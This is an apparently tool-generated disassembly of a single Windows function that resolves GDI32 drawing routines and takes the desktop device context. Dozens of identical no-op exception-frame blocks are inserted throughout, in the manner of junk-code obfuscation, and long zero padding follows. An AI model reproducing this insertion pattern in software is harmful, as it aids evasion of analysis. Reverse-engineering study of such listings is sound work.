Function at 0x1000f3e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001baae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x54], 0x7f8a
mov dword [esi + 0x88], 0x1001c494
mov dword [ebp - 0x50], 0x7f00
mov dword [ebp - 0x4c], 0x7f03
mov dword [ebp - 0x48], 0x7f89
mov dword [ebp - 0x44], 0x7f8b
mov dword [ebp - 0x40], 0x7f01
mov dword [ebp - 0x3c], 0x7f81
mov dword [ebp - 0x38], 0x7f88
mov dword [ebp - 0x34], 0x7f80
mov dword [ebp - 0x30], 0x7f86
mov dword [ebp - 0x2c], 0x7f83
mov dword [ebp - 0x28], 0x7f85
mov dword [ebp - 0x24], 0x7f82
mov dword [ebp - 0x20], 0x7f84
mov dword [ebp - 0x1c], 0x7f04
mov dword [ebp - 0x18], 0x7f02
lea ebx, [ebp - 0x54]
lea edi, [esi + 0xcc]
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
mov eax, dword [ebp - 0x10]
add ebx, 4
add edi, 4
dec eax
mov dword [ebp - 0x10], eax
jne 0x1000f48d
xor ebx, ebx
push str.GDI32.dll
mov dword [ebp - 4], ebx
mov dword [esi], 0x1001c498
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [ebp + 8]
mov dword [0x10023384], eax
lea eax, [edi - 1]
cmp eax, 0x1f
ja case.0x1000f4da.2
xor ecx, ecx
mov cl, byte [eax + 0x1000fb20]
jmp dword [ecx*4 + 0x1000fb18]
mov dword [esi + 0x70], edi
jmp 0x1000f4ed
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.10010b50
test al, al
jne 0x1000f574
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [esi + 0x10c], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x10c]
push edx
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0xc], al
call edi
mov dword [esi + 0x28], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
mov dword [esi + 0x2c], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov eax, 0x20
mov dword [esi + 0x30], ebx
cdq
idiv dword [esi + 0x70]
mov byte [esi + 0x24], al
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [0x10023384]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateCompatibleDC
push ecx
call ebx
mov edi, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x44]
push edx
call edi
mov dword [esi + 0x4c], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov eax, dword [esi + 0x44]
push eax
call edi
mov dword [esi + 0x80], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0
call edi
mov dword [esi + 0x48], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0
call edi
mov dword [esi + 0x50], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
push 1
push ecx
push edx
mov ecx, esi
mov dword [esi + 0x5c], 0
mov dword [esi + 0x60], 0
call fcn.10010280
mov dword [esi + 0x64], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
push eax
push ecx
push edx
mov ecx, esi
call fcn.10010280
mov dword [esi + 0x68], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x70]
push 1
push eax
push ecx
mov ecx, esi
call fcn.10010280
mov dword [esi + 0x6c], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [0x10023384]
push str.CreateDIBSection
push edx
call ebx
mov edi, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [esi + 0x44]
push 0
lea eax, [esi + 0x5c]
push 0
push eax
mov eax, dword [esi + 0x64]
push 0
push eax
push ecx
call edi
mov dword [esi + 0x54], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x68]
push 0
lea eax, [esi + 0x60]
push 0
push eax
mov eax, dword [esi + 0x44]
push 0
push edx
push eax
call edi
mov dword [esi + 0x58], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x68]
mov eax, dword [esi + 0x44]
push 0
lea ecx, [esi + 0x78]
push 0
push ecx
push 0
push edx
push eax
call edi
mov dword [esi + 0x84], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [0x10023384]
push str.SelectObject
push ecx
call ebx
mov edi, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x58]
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push 0
lea ecx, [esi + 0x34]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetRect]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esi + 0x1c], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [esi + 0x68]
xor edx, edx
mov eax, dword [ecx + 0x14]
div dword [esi + 0x2c]
mov dword [esi + 0x74], eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x20], 0
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
nop
mov bl, 0
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
